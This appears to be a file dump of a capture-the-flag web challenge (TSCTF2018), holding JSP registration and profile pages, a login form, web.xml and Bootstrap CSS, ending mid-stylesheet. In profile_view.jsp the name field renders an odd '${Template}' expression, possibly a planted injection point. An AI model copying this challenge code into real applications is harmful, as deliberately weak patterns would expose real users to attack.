for=\"gender\">女</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"女\" aria-label=\"...\">\n                                                </span>\n                                                    </div>\n                                                    <div class=\"col-sm-3\"></div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 出生年月:</label>\n                                                    <div class=\"col-sm-9 input-group\" id=\"datetimepicker\">\n                                                        <input type=\"text\" id=\"birthday\" name=\"birthday\" value=\"${profile.birthday}\"  class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-calendar\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <div class=\"form-group\">\n                                                        <label class=\"col-sm-3 control-label\">* 科 类:</label>\n                                                        <div class=\"col-sm-1\"></div>\n                                                        <div class=\"col-sm-7 input-group\">\n                                                            <label for=\"\">理科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"理科\" aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">文科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"文科\" aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">综合改革</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"综合改革\" aria-label=\"...\">\n                                                    </span>\n                                                        </div>\n                                                        <div class=\"col-sm-1\"></div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 联系电话:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"phone\" id=\"phone\" value=\"${profile.phone}\" onblur=\"checkPhoneNumber(this.id,this.value)\" class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-phone\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 邮箱:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"mail\" id=\"mail\" value=\"${profile.mail}\" onblur=\"checkMail(this.id,this.value)\" class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-envelope\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>更多【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-2 control-label\">* 照片:</label>\n                                                    <div class=\"col-sm-10 input-group\">\n                                                        <div class=\"col-xs-12 col-sm-4 col-md-4\">\n                                                            <div class=\"file-container\" style=\"display:inline-block;position:relative;overflow: hidden;vertical-align:middle\">\n                                                                <button class=\"btn btn-success fileinput-button\" type=\"button\">上传</button>\n                                                                <input type=\"file\" id=\"image\" name=\"image\" class=\"checked-no\" onchange=\"loadFile(this.files[0])\" style=\"position:absolute;top:0;left:0;font-size:34px; opacity:0\">\n                                                            </div>\n                                                            <span id=\"filename\" style=\"vertical-align: middle\">未上传文件</span>\n                                                        </div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 兴趣爱好<label class='text-danger'>【100字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"hobby\" id=\"hobby\" onblur=\"checkLength(this.id,this.value,1,200)\" class=\"form-control\" rows=\"3\">${profile.hobby}</textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 请详细描述在网络安全技术领域参加的竞赛或者取得的突出成就<label class='text-danger'>【300字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"description\" onblur=\"checkLength(this.id,this.value,1,600)\" id=\"description\" class=\"form-control\" rows=\"4\">${profile.description}</textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </fieldset>\n                                </form>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\" style=\"padding-right: 0px;margin-bottom: 50px\">\n                            <button type=\"submit\" onclick=\"editProfile()\" class=\"btn btn-success\">修改个人信息</button>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        $(\"#birthday\").datetimepicker({\n            format: 'yyyy-mm-dd',\n            language: 'zh-CN',\n            weekStart: 1,\n            todayBtn: 1,//显示‘今日’按钮\n            autoclose: 1,\n            todayHighlight: 1,\n            startView: 2,\n            minView: 2,  //Number, String. 默认值：0, 'hour'，日期时间选择器所能够提供的最精确的时间选择视图。\n            clearBtn:true,//清除按钮\n            forceParse: 0\n        });\n        //设置为不可输入\n        $('#birthday').focus(function(){\n            $(this).blur();//不可输入状态\n        })\n        //给radio、option赋初值\n        $(\"input[name='gender'][value=${profile.gender}]\").attr(\"checked\",true);\n        $(\"input[name='type'][value=${profile.type}]\").attr(\"checked\",true);\n        //给option赋初值\n\n        ShowMsg(\"${message}\");\n    })\n\n   function loadFile(file){\n       var fileName = file.name;\n       var index = fileName.lastIndexOf('.');\n       var ext = fileName.substring(index+1).toLowerCase();\n       if(ext==\"jpg\"||ext==\"png\"||ext==\"jpeg\"){\n           $(\"#image\").removeClass(\"checked-no\");\n           $(\"#filename\").html(fileName);\n       }else {\n           $(\"#image\").removeClass(\"checked-no\");\n           $(\"#image\").addClass(\"checked-no\");\n           $(\"#filename\").html(\"\");\n           ShowWarn(\"仅支持的图片上传格式：JPG，PNG，JPEG！\");\n       }\n   }\n    function checkPic() {\n\n    }\n    function addBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0){\n            $(\"\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"\"+id).removeClass(\"checked-no\");\n            $(\"\"+id).addClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n            $(\"#\"+id).addClass(\"checked-no\");\n        }\n    }\n    function removeBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0) {\n            $(\"\" + id).css(\"background-color\", \"#ffffff\");\n            $(\"\"+ id).removeClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#ffffff\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n        }\n    }\n    function checkNumber(id,str) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validatePositiveInteger(str)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"数字格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n    function checkPhoneNumber(id,str) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validatePhoneNumber(str)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"手机号格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function checkMail(id,email) {\n        email = myTrim(email);\n        $(\"#\"+id).val(email);\n        if(validateEmail(email)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"邮件格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function checkLength(id,str,min,max) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validateLengthMin(str,min)&&validateLengthMax(str,max)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"参数长度不合法！,\"+min+\"-\"+max+\"个字符\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function editProfile() {\n        var name = $(\"#name\").val();//长度2-12\n        var gender = $(\"#gender\").val();//男、女\n        var type = $(\"#type\").val();//科类：理科、文科、综合改革\n        var mail = $(\"#mail\").val();//邮箱校验\n        $(\"#profile-edit-submit\").submit();\n\n    }\n\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/profile_view.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n        <div class=\"row\" ></div>\n        <div class=\"row\">\n            <div class=\"col-md-2 text-center\">\n            </div>\n            <div class=\"col-md-8 text-center\">\n                <h3><strong>用户${profile.name} 报名信息</strong></h3>\n                <div class=\"row\">\n                    <div class=\"col-md-4 text-center\">\n                        <a href=\"${cp}/profile/my\" class=\"btn btn-info btn-small\">查看竞赛信息</a>\n                    </div>\n                    <div class=\"col-md-4\"><h4><strong>已填写</strong><span class=\"glyphicon glyphicon-ok\"></span></h4></div>\n                    <div class=\"col-md-4 text-center\">\n                        <a href=\"${cp}/profile/profileEditHtml.html\" class=\"btn btn-info btn-small\">修改信息</a>\n                    </div>\n                </div>\n            </div>\n            <div class=\"col-md-2 text-center\">\n                <img src=\"${cp}${profile.photo}\" alt=\"\">\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\">\n                        <div class=\"form-horizontal\">\n                            <form role=\"form\">\n                                <fieldset>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                        <div class=\"col-md-2 text-center\">\n                                            <h5><strong>个人基本信息</strong></h5>\n                                        </div>\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                    </div>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 姓 名:</label>\n                                                ${Template}\n                                            </div>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 性 别:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"gender\" value=\"${profile.gender}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-user\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 出生年月:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"birthday\" value=\"${profile.birthday}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-calendar\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 科 类:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"type\" value=\"${profile.type}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-pushpin\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 联系电话:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"phone\" value=\"${profile.phone}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-phone\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 邮箱:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"mail\" value=\"${profile.mail}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-envelope\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                        <div class=\"col-md-2 text-center\">\n                                            <h5><strong>更多</strong></h5>\n                                        </div>\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                    </div>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-12\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 兴趣爱好:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <textarea name=\"hobby\" class=\"form-control\" rows=\"3\">${profile.hobby}</textarea>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-12\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 请详细描述在网络安全技术领域参加的竞赛或者取得的突出成就:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <textarea name=\"description\" class=\"form-control\" rows=\"3\">${profile.description}</textarea>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                </fieldset>\n                            </form>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 30px\"></div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        $('input').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n        $('textarea').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n    })\n</script>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/register.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n        <%\n            if(!SystemDateTimeChecker.checkNowOk()){\n        %>\n        <jsp:include page=\"/common/closed.jsp\"></jsp:include>\n        <%\n            }else {\n        %>\n        <div class=\"row\">\n            <div class=\"col-md-12 text-center\">\n                <h2>用户注册</h2>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-1\"></div>\n\n            <div class=\"col-md-8\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\">\n                        <div class=\"form-horizontal\">\n                            <form role=\"form\" action=\"${cp}user/register.html\" id=\"regist-submit\" method=\"post\">\n                                <fieldset>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-5 control-label\" style=\"padding-top: 0px\">\n                                            <div class=\"row\">\n                                                <div class=\"col-sm-12\">\n                                                    <div class=\"row\">* 用户名:&nbsp;&nbsp;&nbsp;&nbsp;</div>\n                                                    <div class=\"row\" style=\"color: red;font-size: 11px\">【支持大小写字母、数字及@.+-_,不超过30个字符】</div>\n                                                </div>\n                                            </div>\n                                        </label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\"  id=\"username\" name=\"username\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                                <span class=\"glyphicon glyphicon-user\"></span>\n                                            </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-5 control-label\" style=\"padding-top: 0px\">\n                                            <div class=\"row\">\n                                                <div class=\"col-sm-12\">\n                                                    <div class=\"row\">* 密 码:&nbsp;&nbsp;&nbsp;&nbsp;</div>\n                                                    <div class=\"row\" style=\"color: red;font-size: 11px\">【支持大小写字母及数字，6-12个字符】</div>\n                                                </div>\n                                            </div>\n                                        </label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"password\" id=\"password\" name=\"password\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-eye-close\"></span>\n                                         </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-5 control-label\">* 邮 箱:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\" id=\"email\" name=\"email\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-envelope\"></span>\n                                         </span>\n                                        </div>\n                                        <div class=\"col-sm-3\">\n\n                                        </div>\n                                    </div>\n                                </fieldset>\n                            </form>\n                        </div>\n                    </div>\n                </div>\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\" style=\"padding-right: 0px\">\n                        <button type=\"submit\" onclick=\"registSubmit()\" class=\"btn btn-success\">注册</button>\n                    </div>\n                </div>\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-center\" style=\"padding-right: 0px\">\n                        <h5>已有账号？<a href=\"${cp}user/loginHtml.html\">马上登录</a></h5>\n                    </div>\n                </div>\n            </div>\n\n            <div class=\"col-md-3\"></div>\n        </div>\n        <%\n            }\n        %>\n    </div>\n</div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        ShowMsg(\"${message}\");\n    })\n    function registSubmit() {\n        var username = $(\"#username\").val();\n        var password = $(\"#password\").val();\n        var email = $(\"#email\").val();\n        if(validateUserName(username)){\n            if(validatePassword(password)){\n                if(validateEmail(email)){\n                    $(\"#regist-submit\").submit();\n                }else {\n                    ShowWarn(\"邮箱格式不合法！\")\n                }\n            }else {\n                ShowWarn(\"密码不合法！仅包含字母数字，6-12字符\")\n            }\n        }else {\n            ShowWarn(\"用户名不合法！仅包含字母数字及@.+-_，不超过30个字符\");\n        }\n    }\n</script>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/success.jsp",
    "content": "\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<html>\n<head>\n    <title>success</title>\n</head>\n<body>\n    <h1>登陆成功</h1>\n${username}\n</body>\n</html>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/views/404.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta http-equiv=\"refresh\" content=\"3;URL=/index.html\">\n    <meta charset=\"UTF-8\">\n    <title>404</title>\n</head>\n<body>\n404\n<br>\n3秒自动跳转\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/views/500.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Title</title>\n</head>\n<body>\n\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/views/login/login.html",
    "content": "<!DOCTYPE html>\n<html xmlns:c=\"http://www.w3.org/1999/XSL/Transform\">\n<head>\n    <title>TSCTF2018</title>\n</head>\n<body>\n<c:if test=\"${!empty error}\">\n    <font color=\"red\">\n        <c:out value=\"${error}\"/>\n    </font>\n</c:if>\n<form action=\"<c:url value=\" loginCheck.html\n\"/>\" method=\"post\">\n用户名：\n<input type=\"text\" name=\"userName\">\n<br>\n密 码：\n<input type=\"password\" name=\"password\">\n<br>\n<input type=\"submit\" value=\"登录\"/>\n<input type=\"reset\" value=\"重置\"/>\n</form>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app version=\"2.5\"\n         xmlns=\"http://java.sun.com/xml/ns/javaee\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee\n\t        http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\">\n\n\n    <!--配置Spring容器-->\n    <context-param>\n        <param-name>contextConfigLocation</param-name>\n        <param-value>classpath:spring/ApplicationContext-*.xml</param-value>\n    </context-param>\n    <listener>\n        <listener-class>\n            org.springframework.web.context.ContextLoaderListener\n        </listener-class>\n    </listener>\n\n    <!--配置springMVC-->\n    <servlet>\n        <servlet-name>springmvc</servlet-name>\n        <servlet-class>\n            org.springframework.web.servlet.DispatcherServlet\n        </servlet-class>\n        <init-param>\n            <param-name>contextConfigLocation</param-name>\n            <param-value>classpath:spring/sprintmvc.xml</param-value>\n        </init-param>\n        <load-on-startup>1</load-on-startup>\n    </servlet>\n\n    <servlet-mapping>\n        <servlet-name>default</servlet-name>\n        <url-pattern>*.js</url-pattern>\n        <url-pattern>*.css</url-pattern>\n        <url-pattern>/css/*\"</url-pattern>\n        <url-pattern>/js/*\"</url-pattern>\n        <url-pattern>/bootstrap3.3.5/*</url-pattern>\n    </servlet-mapping>\n\n    <servlet-mapping>\n        <servlet-name>springmvc</servlet-name>\n        <url-pattern>/</url-pattern>\n    </servlet-mapping>\n    <!-- Encoding -->\n    <filter>\n        <filter-name>encodingFilter</filter-name>\n        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>\n        <init-param>\n            <param-name>encoding</param-name>\n            <param-value>UTF-8</param-value>\n        </init-param>\n        <init-param>\n            <param-name>forceEncoding</param-name>\n            <param-value>true</param-value>\n        </init-param>\n    </filter>\n    <filter-mapping>\n        <filter-name>encodingFilter</filter-name>\n        <url-pattern>/*</url-pattern>\n    </filter-mapping>\n    <error-page>\n        <error-code>404</error-code>\n        <location>/WEB-INF/views/404.html</location>\n    </error-page>\n</web-app>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/css/bootstrap-theme.css",
    "content": "/*!\n * Bootstrap v3.3.5 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, .2);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075);\n}\n.btn-default:active,\n.btn-primary:active,\n.btn-success:active,\n.btn-info:active,\n.btn-warning:active,\n.btn-danger:active,\n.btn-default.active,\n.btn-primary.active,\n.btn-success.active,\n.btn-info.active,\n.btn-warning.active,\n.btn-danger.active {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-default.disabled,\n.btn-primary.disabled,\n.btn-success.disabled,\n.btn-info.disabled,\n.btn-warning.disabled,\n.btn-danger.disabled,\n.btn-default[disabled],\n.btn-primary[disabled],\n.btn-success[disabled],\n.btn-info[disabled],\n.btn-warning[disabled],\n.btn-danger[disabled],\nfieldset[disabled] .btn-default,\nfieldset[disabled] .btn-primary,\nfieldset[disabled] .btn-success,\nfieldset[disabled] .btn-info,\nfieldset[disabled] .btn-warning,\nfieldset[disabled] .btn-danger {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn-default .badge,\n.btn-primary .badge,\n.btn-success .badge,\n.btn-info .badge,\n.btn-warning .badge,\n.btn-danger .badge {\n  text-shadow: none;\n}\n.btn:active,\n.btn.active {\n  background-image: none;\n}\n.btn-default {\n  text-shadow: 0 1px 0 #fff;\n  background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n  background-image:      -o-linear-gradient(top, #fff 0%, #e0e0e0 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0));\n  background-image:         linear-gradient(to bottom, #fff 0%, #e0e0e0 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #dbdbdb;\n  border-color: #ccc;\n}\n.btn-default:hover,\n.btn-default:focus {\n  background-color: #e0e0e0;\n  background-position: 0 -15px;\n}\n.btn-default:active,\n.btn-default.active {\n  background-color: #e0e0e0;\n  border-color: #dbdbdb;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n  background-color: #e0e0e0;\n  background-image: none;\n}\n.btn-primary {\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #265a88 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #265a88 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #245580;\n}\n.btn-primary:hover,\n.btn-primary:focus {\n  background-color: #265a88;\n  background-position: 0 -15px;\n}\n.btn-primary:active,\n.btn-primary.active {\n  background-color: #265a88;\n  border-color: #245580;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n  background-color: #265a88;\n  background-image: none;\n}\n.btn-success {\n  background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%);\n  background-image:      -o-linear-gradient(top, #5cb85c 0%, #419641 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641));\n  background-image:         linear-gradient(to bottom, #5cb85c 0%, #419641 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #3e8f3e;\n}\n.btn-success:hover,\n.btn-success:focus {\n  background-color: #419641;\n  background-position: 0 -15px;\n}\n.btn-success:active,\n.btn-success.active {\n  background-color: #419641;\n  border-color: #3e8f3e;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] 